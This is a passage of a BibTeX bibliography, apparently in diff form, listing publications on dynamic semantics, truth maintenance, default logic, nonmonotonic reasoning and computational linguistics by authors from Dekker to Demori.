dekker:1996a, + author = {Paul Dekker}, + title = {The Values of Variables in Dynamic Semantics}, + journal = {Linguistics and Philosophy}, + year = {1996}, + volume = {19}, + number = {3}, + pages = {211--257}, + topic = {dynamic-semantics;discourse-representation-theory;donkey-anaphora; + anaphora;pragmatics;} + } + +@book{ dekker:1999a, + editor = {Paul Dekker}, + title = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + address = {Amsterdam}, + contentnote = {TC: + 1. Horacio Arlo-Costa and Rohit Parikh, "Two Place Probabilities, + Full Belief and Belief Revision", pp. 1--6 + 2. Tim Fernando, "Non-Monotonicity from Constructing Semantic + Representations", pp. 7--12 + 3. Peter Krause, "Identification Language Games", pp. 13--18 + 4. Henk Zeevat, "Explaining Presupposition Triggers", pp. 19--24 + 5. Anthony S. Gillies, "The Epistemics of + Presupposition", pp. 25--30 + 6. Jonathan Ginzberg and Ivan Sag, "Constructional Ambiguity in + Conversation", pp. 31--36 + 7. Alice ter Meulen, "Binding by Implicit Arguments", pp. 37--42 + 8. Christof Monz, "Modeling Ambiguity in a Multi-Agent + System", pp. 43--48 + 9. C.F.M Vermeulen, "Two Approaches to Modal Interaction in + Discourse", pp. 49--54 + 10. Maria Aloni and David Beaver and Brady Zack Clark, "Focus + and Topic Sensitive Operators", pp. 55--61 + 11. David Beaver, "The Logic of Anaphora Resolution", pp. 61--66 + 12. Sigrid Beck, "Plural Predication and Partitional + Discourses", pp. 67--72 + 13. Agnes Bende-Farkas, "Incorporation as Unification", 73--78 + 14. Martin van der Berg, "Questions as First-Class + Citizens", pp. 79--84 + 15. Remko Bonnema and Paul Buying and Remko Scha, "A New + Probability Model for Data Oriented + Parsing", pp. 85--90 + 16. Robin Clark and Natasha Kurtonina, "Consequences from + {Q}uine", 91--95 + 17. Alexis Dimitriades, "Reciprocal Interpretation with Functional + Pronouns", pp. 97--102 + 18. Edit Doron, "The Semantics of Transitivity + Alternations", pp. 103--108 + 19. Markus Egg, "Deriving and Resolving Ambiguities in + {\it wieder} Sentences", pp. 109--115 + 20. Javier Gutu\'errez-Rexach, "Cross-Linguistic Semantics of + Weak Pronouns in Doubling Structures", pp. 115--120 + 21. Erik de Haas and Pieter Adriaans, "Substructural Logic: + A Unifying Framework for Second Generation Datamining + Algorithms", pp. 121--126 + 22. Caroline Haycock and Roberto Zamparelli, "Toward a Unified + Analysis of {DP} Conjunction", pp. 127--132 + 23. Gerhard J\"ager, "Deconstruction {J}acobson's + {\bf Z}", pp. 133--138 + 24. Theo M.V. Janssen, "{IF} Logic and Informational + Independence", pp. 139--144 + 25. Jan Jaspars and Alexander Koller, "A Calculus for + Direct Deduction with Dominance Effects", pp. 145--150 + 26. Jacques Jayez and Dani\'ele Godard, "True to + Facts", pp. 151--156 + 27. Arivind K. Joshi and Seth Kulick and Natasha + Kurtonina, "Semantic Composition for + Partial Proof Trees", pp. 157--162 + 28. Reinhard Kahle, "A Proof Theoretic View of + Intensionality", pp. 163--168 + 29. Laura Kallmeyer and Aravind Joshi, "Factoring + Predicate Argument and Scope Semantics: + Underspecified Semantics with {LTAG}", pp. 169--174 + 30. Ruth Kempson and Wilfried Meyer-Viol, "The Dynamics + of Tree Growth and Quantifier Construal", pp. 175--180 + 31. Sarah D. Kennelly and Fabien Reniers, "Cumulativity \& + Distributivity Interaction of Polyadic + Quantifiers", pp. 181--186 + 32. Rodger Kibble and Richard Power, "Using Centering Theory + to Plan Coherent Texts", pp. 187--192 + 33. Rick W.F. Nouwen, "DPL with Control Elements", pp. 193--198 + 34. Ranier Osswald, "Semantics for Attribute-Value + Theories", pp. 199--204 + 35. Marc Pauly, "Modeling Coalitional Power in Modal + Logic", pp. 205--210 + 36. Robert van Rooy, "Questioning to Resolve Decision + Problems", pp. 211--216 + 37. Isabelle Teller, "Towards a Semantic-Based Theory of Language + Learning", pp. 217--222 + 38. Louise Vigeant, "A Different Game? Game Theoretical + Semantics as a New Paradigm", pp. 223--228 + 39. Yoad Winter, "Plural Type Quantification", pp. 229--234 + 40. Berislav \v{Z}arni\'c, "A Dynamic Solution for the Problem + of Validity of Practical Propositional + Inference", pp. 235--240 + } , + topic = {nl-semantics;pragmatics;} + } + +@unpublished{ dekker:2001a, + author = {Paul Dekker}, + title = {`Only If' and `Only'\,}, + year = {2001}, + note = {Unpublished manuscript, University of Amsterdam. + http://turing.wins.uva.nl/\user{}pdekker/Papers/OIAO.pdf}, + topic = {conditionals;only-if;dynamic-semantics;} + } + +@article{ dekker:2002a, + author = {Paul Dekker}, + title = {Meaning and Use of Indefinite Expressions}, + journal = {Journal of Logic, Language, and Information}, + year = {2002}, + volume = {10}, + number = {1}, + pages = {141--194}, + topic = {nl-semantics;indefiniteness;pragmatics;} + } + +@article{ dekker-pauly:2002a, + author = {Paul Dekker and Marc Pauly}, + title = {Editorial: Logic and Games}, + journal = {Journal of Logic, Language, and Information}, + year = {2002}, + volume = {11}, + number = {3}, + pages = {287--288}, + topic = {game-theory;game-theoretic-semantics;dynamic-logic;} + } + +@article{ dekleer:1984a, + author = {Johan de Kleer}, + title = {How Circuits Work}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {24}, + number = {1--3}, + pages = {205--280}, + topic = {qualitative-physics;qualitative-reasoning;} + } + +@article{ dekleer:1984b, + author = {Johan de Kleer}, + title = {Review of {\it The Fifth Generation: Artificial + Intelligence and {J}apan's Computer Challenge to the World}, + by {E}.{A}. {F}eigenbaum and {P}. {M}c{C}orduck}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {22}, + number = {2}, + pages = {222--226}, + xref = {Review of feigenbaum-mccorduck:1983a.}, + topic = {popular-cs;cs-journalism;} + } + +@article{ dekleer-brown:1984a, + author = {Johan de Kleer and John Seely Brown}, + title = {A Qualitative Physics Based on Confluences}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {24}, + number = {1--3}, + pages = {7--83}, + topic = {qualitative-physics;qualitative-reasoning;} + } + +@article{ dekleer:1985a, + author = {Johan de Kleer}, + title = {Review of {\it Building Expert Systems}, by {F}. + {H}ayes-{R}oth, {D}.{A}. {W}aterman and {D}ouglas {B}. + Lenat}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {25}, + number = {1}, + pages = {105--107}, + xref = {Review of hayesroth_f-etal:1983a.}, + topic = {expert-systems;} + } + +@article{ dekleer:1986a1, + author = {Johan de Kleer}, + title = {An Assumption-Based {TMS}}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {28}, + number = {1}, + pages = {127--162}, + xref = {Republication: dekleer:1986a2.}, + topic = {truth-maintenance;} + } + +@incollection{ dekleer:1986a2, + author = {Johan de Kleer}, + title = {An Assumption-Based {TMS}}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {280--297}, + address = {Los Altos, California}, + xref = {Original Publication: dekleer:1986a1.}, + topic = {truth-maintenance;} + } + +@article{ dekleer:1986b, + author = {Johan de Kleer}, + title = {Extending the {ATMS}}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {28}, + number = {2}, + pages = {163--196}, + topic = {truth-maintenance;} + } + +@article{ dekleer:1986c, + author = {Johan de Kleer}, + title = {Problem Solving with the {ATMS}}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {28}, + number = {2}, + pages = {197--224}, + topic = {truth-maintenance;} + } + +@article{ dekleer-brown_js:1986a, + author = {Johan de Kleer and John Seely Brown}, + title = {Theories of Causal Ordering}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {29}, + number = {1}, + pages = {33--61}, + xref = {Commentary on iwasaki-simon:1986a.}, + topic = {causality;qualitative-reasoning;} + } + +@article{ dekleer-williams_bc:1987a1, + author = {Johan de Kleer and Brian C. Williams}, + title = {Diagnosing Multiple Faults}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {32}, + number = {1}, + pages = {97--130}, + xref = {Republication: dekleer-williams_bc:1987a2.}, + topic = {diagnosis;} + } + +@incollection{ dekleer-williams_bc:1987a2, + author = {Johan de Kleer and Brian C. Williams}, + title = {Diagnosing Multiple Faults}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {372--388}, + address = {Los Altos, California}, + xref = {Original Publication: dekleer-williams:1987a1.}, + topic = {diagnosis;} + } + +@article{ dekleer-konolige:1989a, + author = {Johan de Kleer and Kurt Konolige}, + title = {Eliminating the Fixed Predicates from a Circumscription}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {39}, + number = {3}, + pages = {391--398}, + acontentnote = {Abstract: + Parallel predicate circumscription is the primary + circumscriptive technique used in formalizing commonsense + reasoning. In this paper we present a direct syntactic + construction for transforming any parallel predicate + circumscription using fixed predicates into an equivalent one + which does not. Thus, we show that predicate circumscription is + no more expressive with fixed predicates than without. We + extend this result to prioritized circumscription. These + results are expected to be useful for comparing circumscription + to other nonmonotonic formalisms (such as autoepistemic logic + and assumption-based truth maintenance) and for implementing + fixed predicates. } , + topic = {autoepistemic-logic;circumscription;nonmonotonic-logic; + truth-maintenance;} + } + +@inproceedings{ dekleer:1991a, + author = {Johan de Kleer}, + title = {Exploiting Locality in a {TMS}}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathy McKeown}, + pages = {264--271}, + organization = {American Association for Artificial Intelligence}, + publisher = {MIT Press}, + address = {Cambridge, Massachusetts}, + topic = {truth-maintenance;} + } + +@article{ dekleer:1993a, + author = {Johan de Kleer}, + title = {A Perspective on Assumption-Based Truth Maintenance}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {63--67}, + xref = {Retrospective commentary on dekleer:1986a.}, + topic = {truth-maintenance;} + } + +@article{ dekleer:1993b, + author = {Johan de Kleer}, + title = {A View on Qualitative Physics}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {105--114}, + topic = {qualitative-physics;} + } + +@article{ dekleer:1993c, + author = {Johan de Kleer}, + title = {In Defense of Nonmonotonic Information}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {174--175}, + xref = {kr;foundations-of-kr;logic-in-AI;} + } + +@article{ dekoning-etal:2000a, + author = {Kees de Koning and Bert Bredeweg and Joost Breuker and + Bob Wielinga}, + title = {Model-Based Reasoning about Learner Behaviour}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {117}, + number = {2}, + pages = {173--229}, + acontentnote = {Abstract: + Automated handling of tutoring and training functions in + educational systems requires the availability of articulate + domain models. In this article we further develop the + application of qualitative models for this purpose. A framework + is presented that defines a key role for qualitative models as + interactive simulations of the subject matter. Within this + framework our research focuses on automating the diagnosis of + learner behaviour. We show how a qualitative simulation model of + the subject matter can be reformulated to fit the requirements + of general diagnostic engines such as GDE. It turns out that, + due to the specific characteristics of such models, additional + structuring is required to produce useful diagnostic results. A + set of procedures is presented that automatically maps detailed + simulation models into a hierarchy of aggregated models by + hiding non-essential details and chunking chains of causal + dependencies. The result is a highly structured subject matter + model that enables the diagnosis of learner behaviour by means + of an adapted version of the GDE algorithm. An experiment has + been conducted that shows the viability of the approach taken, + i.e., given the output of a qualitative simulator the procedures + we have developed automatically generate a structured subject + matter model and subsequently use this model to successfully + diagnoses learner behaviour. } , + topic = {qualitative-modeling;model-based-reasoning;diagnosis;} + } + +@incollection{ dekuyper:1995a, + author = {Jo DeKuyper and Didier Keymeulen and Luc Steels}, + title = {A Hybrid Architecture for Modeling Liquid Behavior}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {731--751}, + address = {Cambridge, Massachusetts}, + topic = {diagrams;reasoning-with-diagrams; + physical-reasoning;visual-reasoning;} + } + +@inproceedings{ dekydtspotter:1993a, + author = {Pierre Aime Dekydtspotter}, + title = {The Syntax and Semantics of the {F}rench {\it Ne Que} + Construction}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {III}}, + year = {1993}, + editor = {Utpal Lahiri and Zachary Wyner}, + pages = {38--56}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {sentence-focus;French-language;pragmatics;} + } + +@incollection{ delacruz:1976a, + author = {Enrique B. Delacruz}, + title = {Factives and Proposition Level + Constructions in {M}ontague Grammar}, + booktitle = {Montague Grammar}, + publisher = {Academic Press}, + year = {1976}, + editor = {Barbara H. Partee}, + pages = {177--199}, + address = {New York}, + topic = {Montague-grammar;(counter)factive-constructions; + propositions;} + } + +@article{ delacruz-etal:2002a, + author = {Omar de la Cruz and Eric Hall and Paul Howard and Jean E. + Rubin and Adrianne Stanley}, + title = {Definitions of Compactness and the Axiom of Choice}, + journal = {Journal of Symbolic Logic}, + year = {2002}, + volume = {67}, + number = {1}, + pages = {143--161}, + topic = {topology;axiom-of-choice;} + } + +@book{ delahunty:1982a, + author = {Gerald P. Delahunty}, + title = {Topics in the Syntax and Semantics of {E}nglish + Cleft Sentences}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {cleft-constructions;presupposition;pragmatics;} + } + +@incollection{ delannoy:1999a, + author = {Jean-Fran\c{c}ois Delannoy}, + title = {Argumentation Mark-Up: A Proposal}, + booktitle = {Towards Standards and Tools for Discourse Tagging: + Proceedings of the Workshop}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Marilyn Walker}, + pages = {18--25}, + address = {Somerset, New Jersey}, + topic = {discourse-tagging;corpus-linguistics;argumentation;} + } + +@article{ delcerro-etal:1994a, + author = {Luis Fari\~nas del Cerro and Andreas Herzog and J\'er\^ome Lang}, + title = {From Ordering-Based Nonmonotonic Reasoning to Conditional Logics}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {66}, + number = {2}, + pages = {375--393}, + contentnote = {Shows how to get a Lehmann-Magidor conditional from + a Gardenfors-Makinson ordering on formulas. They do not seem + to be conversant with the earlier work on conditionals.}, + topic = {nonmonotonic-logic;conditional-logic;belief-revision;} + } + +@inproceedings{ delgrande:1987a, + author = {James Delgrande}, + title = {A Logic for Representing Default and Prototypical + Properties}, + booktitle = {Proceedings of the Tenth International Joint + Conference on Artificial Intelligence}, + year = {1987}, + editor = {Arivind Joshi}, + pages = {423--429}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + xref = {Journal publication: delgrande:1987b.}, + topic = {nonmonotonic-conditionals;nonmonotonic-logic;generics;} + } + +@article{ delgrande:1987b, + author = {James Delgrande}, + title = {A First-Order Conditional Logic for Prototypical Properties}, + journal = {Artificial Intelligence}, + volume = {33}, + number = {1}, + year = {1987}, + pages = {105--130}, + topic = {nonmonotonic-conditionals;nonmonotonic-logic;generics;} + } + +@article{ delgrande:1988a, + author = {James Delgrande}, + title = {An Approach to Default Reasoning Based on a First-Order + Conditional Logic: Revised Report}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {36}, + pages = {63--90}, + number = {1}, + topic = {nonmonotonic-conditionals;nonmonotonic-logic;} + } + +@unpublished{ delgrande:1989a, + author = {James P. Delgrande}, + title = {A Semantics for a Class of Inheritance Networks}, + year = {1989}, + note = {Unpublished manuscript, School of Computing Science, + Simon Frazer University}, + topic = {inheritance-theory;nonmonotonic-logic;} + } + +@incollection{ delgrande-jackson:1991a, + author = {James P. Delgrande and W. Ken Jackson}, + title = {Default Logic Revisited}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {118--127}, + address = {San Mateo, California}, + topic = {default-logic;nonmonotonic-logic;kr-course;} + } + +@incollection{ delgrande:1992a, + author = {James P. Delgrande}, + title = {Accessibility in Logics of Explicit Belief}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {450--461}, + address = {San Mateo, California}, + topic = {epistemic-logic;hyperintensionality;} + } + +@article{ delgrande-etal:1994a, + author = {James Delgrande and Torsten Schaub and {W. Ken} Jackson}, + title = {Alternative Approaches to Default Logic}, + journal = {Artificial Intelligence}, + volume = {70}, + year = {1994}, + pages = {167--237}, + topic = {default-logic;nonmonotonic-logic;} + } + +@incollection{ delgrande-schaub:1994a, + author = {James Delgrande and Torsten Schaub}, + title = {A General Approach to Specificity in Default Reasoning}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {146--157}, + address = {San Francisco, California}, + topic = {nonmonotonic-reasoning;specificity;} + } + +@inproceedings{ delgrande:1995a, + author = {James P. Delgrande}, + title = {Syntactic Conditional Closures for Defeasible Reasoning}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1488--1494}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {nonmonotonic-reasoning;conditionals;} + } + +@inproceedings{ delgrande-gupta_a:1996a, + author = {James P. Delgrande and Arvind Gupta}, + title = {A Representation for Efficient Temporal Reasoning}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {381--388}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {temporal-reasoning;kr;krcourse;} + } + +@article{ delgrande-schaub:1997a, + author = {James P. Delgrande and Torsten H. Schaub}, + title = {Compiling Specificity into Approaches to Nonmonotonic + Reasoning}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {90}, + number = {1--2}, + pages = {301--348}, + topic = {nonmonotonic-logic;specificity;kr;} + } + +@article{ delgrande:1998a, + author = {James P. Delgrande}, + title = {On First-Order Conditional Logics}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {105}, + number = {1--2}, + pages = {105--137}, + topic = {conditionals;lottery-paradox;nonmonotonic-logic;} + } + +@incollection{ delgrande:1998b, + author = {James P. Delgrande}, + title = {Conditional Logics for Defeasible Logics}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 2: Reasoning with + Actual and Potential Contradictions}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Phillipe Besnard and Anthony Hunter}, + pages = {135--174}, + address = {Dordrecht}, + topic = {conditionals;nonmonotonic-logic;} + } + +@inproceedings{ delgrande-schaub:1999a, + author = {James P. Delgrande and Torsten Schaub}, + title = {The Role of Default Logic in Knowledge Representation: + Preliminary Draft}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {default-logic;common-sense-reasoning; + common-sense-logicism;} + } + +@article{ delgrande-schaub:2000a, + author = {James P. Delgrande and Torsten Schaub}, + title = {Expressing Preferences in Default Logic}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {123}, + number = {1--2}, + pages = {41--87}, + topic = {default-logic;default-preferences;} + } + +@incollection{ delgrande-schaub:2000b, + author = {James P. Delgrande and Torsten Schaub}, + title = {The Role of Default Logic in Knowledge Representation}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {107--126}, + address = {Dordrecht}, + topic = {logic-in-AI;kr;nonmonotonic-logic;default-logic; + nonmonotonic-prioritization;} + } + +@article{ delgrande-etal:2001a, + author = {James Delgrande and Arvind Gupta and Tim Van Allen}, + title = {A Comparison of Point-Based Approaches to Qualitative + Temporal Reasoning}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {131}, + number = {1--2}, + pages = {135--170}, + topic = {temporal-reasoning;} + } + +@inproceedings{ deligne-sagisaka:1998a, + author = {Sabine Deligne and Yoshinori Sagisaka}, + title = {Learning a Syntagmatic and Paradigmatic Structure from + Language Data with a Bi-Multigram Model}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {300--306}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {word-sequence-probabilities;} +} + +@incollection{ delima:1997a, + author = {Erika F. de Lima}, + title = {Assigning Grammatical Relations with a Back-Off Model}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {90--96}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;corpus-tagging; + grammatical-relations;German-language;} + } + +@incollection{ delima:1998a, + author = {Erica F. de Lima}, + title = {Induction of a Stem Lexicon for Two-Level Morphological + Analysis}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {267--268}, + address = {Somerset, New Jersey}, + topic = {computational-morphology;word-acquisition;} + } + +@inproceedings{ delin-etal:1993a, + author = {Judy Delin and Donia Scott and Tony Hartley}, + title = {Knowledge, Intention, Rhetoric: Levels of Variation + in Multilingual Instructions}, + booktitle = {{ACL} Workshop on Intentionality and Structure in + Discourse Relations}, + pages = {7--10}, + address = {Columbus, Ohio}, + year = {1993}, + topic = {discourse-structure;pragmatics;} +} + +@inproceedings{ delin-etal:1994a, + author = {Judy Delin and Anthony Hartley and C\'ecile Paris and Donia Scott + and Keith Vander Linden}, + title = {Expressing Procedural Relationships in Multilingual + Instructions}, + booktitle = {Seventh International Workshop on Natural Language Generation}, + address = {Kennebunkport, Maine}, + year = {1994}, + pages = {61--70}, + topic = {nl-generation;} +} + +@inproceedings{ delisle-etal:1998a, + author = {Sylvain Delisle and Sylvain L\'etourneau and Stan Matwin}, + title = {Experiments with Learning Parsing Heuristics}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {307--314}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {parsing-algorithms;machine-learning;} +} + +@inproceedings{ dellapierta-etal:1997a, + author = {Stephen Della Pietra and Mark Epstein and Salim Roukos + and Todd Ward}, + title = {Fertility Models for Statistical Natural Language + Understanding}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {168--173}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {computational-semantics;statistical-nlp;} + } + +@article{ dellarocca-roversi:1997a, + author = {S Ronchi Della Rocca and L. Roversi}, + title = {Lambda Calculus and Intuitionistic Linear Logic}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {3}, + pages = {417--448}, + topic = {lambda-calculus;intuitionistic-logic;linear-logic;} + } + +@article{ delmasrigoutsos:1997a, + author = {Yannis Delmas-Rigoutsos}, + title = {A Double Deduction System for Quantum Logic Based on + Natural Deduction}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {26}, + number = {1}, + pages = {57--67}, + topic = {quantum-logic;} + } + +@incollection{ delval:1992a, + author = {Alvaro Del Val}, + title = {Computing Knowledge Base Updates}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {740--750}, + address = {San Mateo, California}, + topic = {kr;database-update;belief-revision;} + } + +@inproceedings{ delval-shoham_y1:1993a, + author = {Alvaro {d}el {V}al and Yoav Shoham}, + title = {Deriving Properties of Belief Update From Theories of Action {II}}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {732--737}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + xref = {See delval-shoham_y1:1994a for journal publication.}, + topic = {belief-revision;nonmonotonic-logic;} + } + +@incollection{ delval:1994a, + author = {Alvaro del Val}, + title = {Tractable Databases: How to Make Propositional Unit Resolution + Complete Through Compilation}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {551--561}, + address = {San Francisco, California}, + topic = {kr;theorem-proving;complexity-in-AI;tractable-logics;kr-course;} + } + +@article{ delval-shoham_y1:1994a, + author = {Alvaro {d}el {V}al and Yoav Shoham}, + title = {Deriving Properties of Belief Update From Theories of Action}, + journal = {Journal of Logic, Language, and Information}, + year = {1994}, + volume = {3}, + number = {2}, + pages = {81--119}, + contentnote = {This is about revising your beliefs in response to + changes in the world, not about AGM update. Authors argue + that the this is NM temporal reasoning.}, + topic = {kr;belief-revision;nonmonotonic-logic;kr-course;} + } + +@article{ delval:2000a, + author = {Alvaro del Val}, + title = {On Some Tractable Classes in Deduction and Abduction}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {116}, + number = {1--2}, + pages = {297--313}, + topic = {complexity-in-AI;;kr-course;} + } + +@article{ demantaras-arcos:2002a, + author = {Ramon Lopez de Mantaras and Josep Lluis Arcos}, + title = {{AI} and Music: From Composition to Expressive Performance}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {23}, + number = {3}, + pages = {43--57}, + topic = {AI-and-music;} + } + +@inproceedings{ demarcken:1995a, + author = {Carl de Marcken}, + title = {Lexical Heads, Phrase Structure, and Induction + of Grammar}, + booktitle = {Proceedings of the Third Workshop on Very + Large Corpora}, + year = {1995}, + editor = {David Yarovsky and Kenneth Church}, + pages = {14--26}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {corpus-linguistics;machine-learning;grammar-learning;} + } + +@inproceedings{ demarcken:1996a, + author = {Carl de Marcken}, + title = {Linguistic Structure as Composition and Perturbation}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {335--341}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {word-learning;computational-lexical-semantics;} + } + +@inproceedings{ demello-sanderson:1986a, + author = {L. DeMelloh and A.C. Sanderson}, + title = {And/Or Graph Representation of Assembly Plans}, + booktitle = {Proceedings of the Fifth National Conference on + Artificial Intelligence}, + year = {1986}, + editor = {Tom Kehler and Stan Rosenschein}, + organization = {American Association for Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + missinginfo = {pages = {1113--??}}, + topic = {planning-algorithms;and/or-graphs;} + } + +@inproceedings{ demolombe:1995a, + author = {Robert Demolombe}, + title = {Reasoning about Topics: Towards a Formal Theory}, + booktitle = {Formalizing Context}, + year = {1995}, + editor = {Sasa Buva\v{c}}, + pages = {55--59}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {context;d-topic;} + } + +@inproceedings{ demolombe:1999a, + author = {Robert Demolombe}, + title = {Multivalued Logics and Topics}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Practical Reasoning and Rationality}, + year = {1999}, + editor = {John Bell}, + pages = {1--7}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {multi-valued-logic;relevance ;} + } + +@article{ demopoulos:1982a, + author = {William Demopoulos}, + title = {The Rejection of Truth-Conditional Semantics by {P}utnam and + {D}ummett}, + journal = {Philosophical Topics}, + year = {1982}, + volume = {13}, + number = {1}, + pages = {135--153}, + topic = {philosophy-of-language;foundations-of-semantics;} + } + +@article{ demopoulos:1994a, + author = {William Demopoulos}, + title = {Frege and the Rigorization of Analysis}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {3}, + pages = {225--245}, + topic = {Frege;} + } + +@article{ demopoulos:1999a, + author = {William Demopoulos}, + title = {On the Theory of Meaning of `On Denoting'}, + journal = {No\^us}, + year = {1999}, + volume = {33}, + number = {3}, + pages = {439--458}, + topic = {Russell;philosophy-of-language;} + } + +@book{ demori:1998a, + editor = {Renato de Mori}, + title = {Spoken Dialogues with Computers}, + publisher = {Academic Press}, + year = {1998}, + address = {New York}, + contentnote = {TC: + 1. Renato de Mori, "Problems and Methods for + Solution", pp. 1--22 + 2. Maurizio Onologi and Piergiorgio Svaizer and Renato de + Mori, "Acoustic Transduction", pp. 23--67 + 3. Bianca Angelini and Daliele Falavigna and Maurizio 